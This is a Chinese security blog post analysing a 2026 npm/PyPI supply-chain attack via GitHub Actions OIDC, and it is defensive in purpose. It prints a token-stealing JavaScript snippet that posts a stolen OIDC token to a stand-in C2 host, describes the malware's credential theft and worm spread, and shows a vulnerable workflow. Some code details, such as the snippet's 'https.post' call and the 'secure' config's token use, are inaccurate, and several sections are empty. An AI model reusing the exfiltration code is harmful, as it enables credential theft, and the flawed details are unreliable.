一、事件概述：一场席卷全球开发者的供应链大地震

2026年5月11日，软件供应链安全领域迎来了迄今为止最具破坏性的攻击事件。黑客组织TeamPCP（又名Shai-Hulud） 同时攻陷了npm和PyPI两大主流包管理平台，通过劫持知名开源项目的CI/CD流水线，成功向62个官方维护的包、404个恶意版本中植入了窃取凭证的恶意代码。

此次攻击的影响范围堪称空前：仅@tanstack/react-router一个包的周下载量就超过1200万次，加上Mistral AI官方SDK、UiPath企业RPA工具包、OpenSearch客户端等核心组件，全球受影响的项目数量保守估计超过百万个，覆盖了从个人开发者到世界500强企业的整个技术生态。

与以往简单的包名混淆攻击不同，本次攻击利用了GitHub Actions OIDC（OpenID Connect）信任链的系统性漏洞，以完全合法的身份发布了带有SLSA 3级安全签名的恶意包，成功绕过了绝大多数现有的供应链安全检测工具。这标志着软件供应链攻击已经从"投机取巧"阶段进入了"系统性突破"的新时代。

二、事件完整时间线

三、攻击技术深度解析

3.1 核心攻击链流程图

3.2 GitHub Actions OIDC机制与漏洞原理

GitHub Actions OIDC是GitHub推出的一种安全认证机制，允许工作流在不使用长期访问令牌的情况下，向外部服务（如npm、PyPI、AWS等）进行身份验证。其核心原理是：GitHub作为身份提供者（IdP），会为每个运行中的工作流签发一个短期的JWT令牌，外部服务可以验证这个令牌的真实性并授予相应的权限。

漏洞的根源在于pull_request_target事件的设计缺陷。与普通的pull_request事件不同，pull_request_target事件会在目标仓库的上下文中运行，并且拥有读取仓库机密和写入包仓库的权限。攻击者正是利用了这一点，通过提交一个包含恶意代码的PR，触发目标仓库的CI/CD流水线，从而在拥有高权限的环境中执行任意代码。

3.3 缓存投毒与令牌窃取技术细节

攻击者的恶意代码被巧妙地隐藏在一个看似无害的测试文件中。当流水线执行测试步骤时，恶意代码会被自动运行，并执行以下操作：

// 恶意代码核心片段（已脱敏）const fs = require('fs');const https = require('https');// 提取GitHub Actions OIDC令牌const oidcToken = process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN;const oidcUrl = process.env.ACTIONS_ID_TOKEN_REQUEST_URL;// 向GitHub请求完整的OIDC令牌https.get(`${oidcUrl}&audience=https://registry.npmjs.org/`, {
    headers: {
        'Authorization': `Bearer ${oidcToken}`
    }}, (res) => {
    let data = '';
    res.on('data', (chunk) => data += chunk);
    res.on('end', () => {
        const token = JSON.parse(data).value;
        
        // 将令牌发送到攻击者控制的C2服务器
        https.post('https://malicious-c2.com/collect', {
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({
                token: token,
                repo: process.env.GITHUB_REPOSITORY,
                run_id: process.env.GITHUB_RUN_ID
            })
        });
    });});

获取到OIDC令牌后，攻击者就可以使用npm官方的npm-cli-login工具，以完全合法的身份登录npm注册表，并发布恶意版本的包。更令人震惊的是，由于这些包是通过官方CI/CD流水线发布的，它们自动获得了SLSA 3级安全签名，这意味着绝大多数依赖扫描工具都会将其视为"安全可信"的。

3.4 恶意代码行为分析

攻击者植入的恶意代码被高度混淆，隐藏在router_init.js文件中，只有在生产环境下才会被激活。其主要行为包括：

1. 环境检测：首先检查系统语言，如果是俄语环境则立即终止执行，这表明攻击者可能来自俄语国家或有意避开俄语地区的目标。

2. 凭证窃取：递归扫描用户系统中的所有敏感文件，包括：

• AWS/GCP/Azure的配置文件和凭证

• GitHub/GitLab个人访问令牌

• SSH私钥（~/.ssh/id_*）

• 环境变量中的API密钥和数据库密码

• 加密货币钱包文件

3. 持久化机制：在用户系统中安装一个每分钟运行一次的定时任务，定期向C2服务器发送心跳包，并检查窃取的令牌是否已被撤销。如果令牌仍然有效，则继续窃取更多数据。

4. 蠕虫化扩散：使用窃取的GitHub令牌，扫描该用户拥有访问权限的所有仓库，并尝试向这些仓库的CI/CD流水线中植入相同的恶意代码，从而实现横向扩散。

四、受影响范围与危害评估

4.1 核心受影响包清单

4.2 危害等级评估

• 极高风险：使用了上述恶意版本包的生产环境，尤其是直接暴露在公网上的服务。攻击者可能已经窃取了云服务凭证、数据库密码等核心敏感信息，导致数据泄露、服务被接管甚至勒索攻击。

• 高风险：使用了上述包的开发环境和CI/CD流水线。攻击者可能已经窃取了开发者的GitHub令牌和SSH私钥，从而进一步污染其他项目。

• 中风险：仅在本地开发环境中使用过上述包，且没有存储任何敏感凭证的用户。建议立即清理恶意包并检查系统是否存在异常。

五、官方处置与应急响应步骤

5.1 官方处置进展

截至2026年5月12日，npm和PyPI官方已经下架了所有确认的恶意版本，并将相关包标记为deprecated。TanStack、Mistral AI等受影响的组织也已经发布了安全公告和修复版本，并强制重置了所有维护者的访问令牌。

然而，由于npm和PyPI的缓存机制，部分地区的镜像站可能仍然存在恶意版本的缓存。建议开发者在更新依赖时，明确指定安全的版本号，而不是使用模糊的版本范围。

5.2 企业级应急响应清单（立即执行）

步骤1：检测并清理恶意依赖

# npm生态检测npm ls @tanstack/react-router @tanstack/vue-router @mistralai/mistralai @opensearch-project/opensearch# 如果发现恶意版本，立即卸载并安装安全版本npm uninstall @tanstack/react-routernpm install @tanstack/react-router@5.3.12 --save-exact# PyPI生态检测pip list | grep -E "mistralai|guardrails-ai"# 清理PyPI恶意包pip uninstall mistralai guardrails-ai
pip install mistralai==0.1.9 --force-reinstall

步骤2：强制轮换所有敏感凭证

这是最重要的一步。无论你是否确认受到攻击，只要在过去72小时内使用过上述任何一个包，都必须立即轮换以下所有凭证：

• AWS/GCP/Azure的访问密钥和秘密访问密钥

• GitHub/GitLab个人访问令牌和部署密钥

• SSH私钥（特别是用于访问生产服务器的私钥）

• 数据库密码和API密钥

• CI/CD流水线的访问令牌

• 加密货币钱包的私钥

步骤3：审计系统和网络活动

• 检查服务器的登录日志，查看是否有异常的登录记录

• 审计云服务的资源使用情况，查看是否有未授权的资源创建

• 检查网络流量，查看是否有向未知IP地址的出站连接

• 扫描系统中是否存在可疑的定时任务和守护进程

步骤4：加固CI/CD流水线安全

# 错误的配置（易受攻击）name: Publish Packageon:
  pull_request_target:
    branches: [main]jobs:
  publish:
    runs-on: ubuntu-latest    permissions:
      id-token: write      contents: read    steps:
      - uses: actions/checkout@v4      - run: npm ci      - run: npm test  # 这里会执行攻击者的恶意代码
      - run: npm publish --provenance

# 正确的安全配置name: Publish Packageon:
  push:
    branches: [main]
    tags: ['v*']  # 仅在打标签时发布jobs:
  publish:
    runs-on: ubuntu-latest    environment: production  # 使用受保护的环境
    permissions:
      id-token: write      contents: read    steps:
      - uses: actions/checkout@v4        with:
          persist-credentials: false  # 禁用持久化凭证
      - run: npm ci      - run: npm test      - name: Publish to npm        uses: actions/setup-node@v4        with:
          node-version: 20
          registry-url: 'https://registry.npmjs.org'
      - run: npm publish --provenance        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

六、系统性风险暴露与前瞻性思考

6.1 SLSA安全框架的局限性

本次攻击最令人警醒的一点是，所有恶意包都带有合法的SLSA 3级安全签名。SLSA（Supply-chain Levels for Software Artifacts）是目前行业内广泛采用的软件供应链安全框架，旨在通过标准化的安全控制来防止软件篡改。

然而，本次攻击表明，SLSA只能保证"软件包在构建过程中没有被篡改"，但无法保证"构建过程本身是安全的"。如果攻击者能够劫持构建流水线，那么他们就可以生成完全符合SLSA标准的恶意软件。这意味着我们需要重新思考软件供应链安全的边界，将安全控制从"制品验证"延伸到"构建过程的全生命周期验证"。

6.2 OIDC信任链的系统性漏洞

GitHub Actions OIDC机制的设计初衷是为了提高安全性，避免使用长期访问令牌。但本次攻击暴露了OIDC信任链中一个致命的弱点：一旦身份提供者（GitHub）的运行时环境被攻破，整个信任链就会完全崩溃。

未来，我们需要建立更加细粒度的OIDC权限控制机制，例如：

• 限制OIDC令牌的使用范围，只能用于发布特定的包

• 为OIDC令牌添加更短的过期时间（如5分钟）

• 要求多因素认证才能发布生产版本的包

• 建立OIDC令牌使用的审计和异常检测系统

6.3 跨生态攻击成为新常态

本次攻击是首次同时攻陷npm和PyPI两大主流包管理平台的大规模供应链攻击。随着越来越多的项目同时使用多种编程语言和包管理工具，跨生态攻击将成为未来软件供应链攻击的主要趋势。

攻击者只需要攻破一个生态中的一个核心项目，就可以利用该项目维护者的凭证，横向污染其他生态中的项目。这要求我们建立统一的跨生态软件供应链安全标准和威胁情报共享机制。

七、未来防御体系建设建议

7.1 技术层面

1. 采用零信任架构：默认不信任任何外部依赖，所有依赖在使用前都必须经过严格的安全扫描和人工审核。

2. 使用私有包仓库：建立企业内部的私有包仓库，只同步经过安全验证的依赖版本。

3. 实施依赖锁定：在项目中使用package-lock.json或poetry.lock文件，精确锁定所有依赖的版本号。

4. 部署运行时防护：在生产环境中部署运行时应用程序保护（RASP）工具，实时检测和阻止恶意代码的执行。

7.2 流程层面

1. 建立应急响应预案：制定详细的软件供应链攻击应急响应预案，并定期进行演练。

2. 实施最小权限原则：严格限制CI/CD流水线和开发者的访问权限，只授予完成工作所必需的最小权限。

3. 加强代码审查：对所有外部贡献的PR进行严格的代码审查，特别注意CI/CD配置文件和测试代码的变更。

4. 定期安全审计：定期对项目的依赖和CI/CD流水线进行全面的安全审计。

7.3 行业层面

1. 建立威胁情报共享机制：行业内的企业和组织应该加强合作，共享软件供应链攻击的威胁情报。

2. 推动安全标准制定：共同推动制定更加严格的软件供应链安全标准和规范。

3. 支持开源安全：加大对开源软件安全的投入，支持开源项目建立完善的安全保障体系。

八、总结与展望

2026年5月11日的这场供应链大地震，给全球软件行业敲响了警钟。它表明，软件供应链安全已经成为企业安全的生命线，任何一个微小的漏洞都可能引发灾难性的后果。

本次攻击也暴露了当前软件供应链安全体系中存在的诸多系统性问题，包括CI/CD流水线安全、OIDC信任链、SLSA框架的局限性等。解决这些问题需要技术、流程和行业层面的共同努力。

未来，软件供应链安全将从"可选配置"转变为"必备能力"。企业需要建立全方位、多层次的软件供应链安全防御体系，才能在日益复杂的网络安全环境中保护自己的业务和数据。

作为开发者，我们也应该提高安全意识，养成良好的安全习惯，共同守护我们赖以生存的软件生态系统。

打赏

支付宝微信扫一扫，打赏作者吧～

本文链接：https://kinber.cn/post/6549.html 转载需授权！

推荐本站淘宝优惠价购买喜欢的宝贝:

 您阅读本篇文章共花了：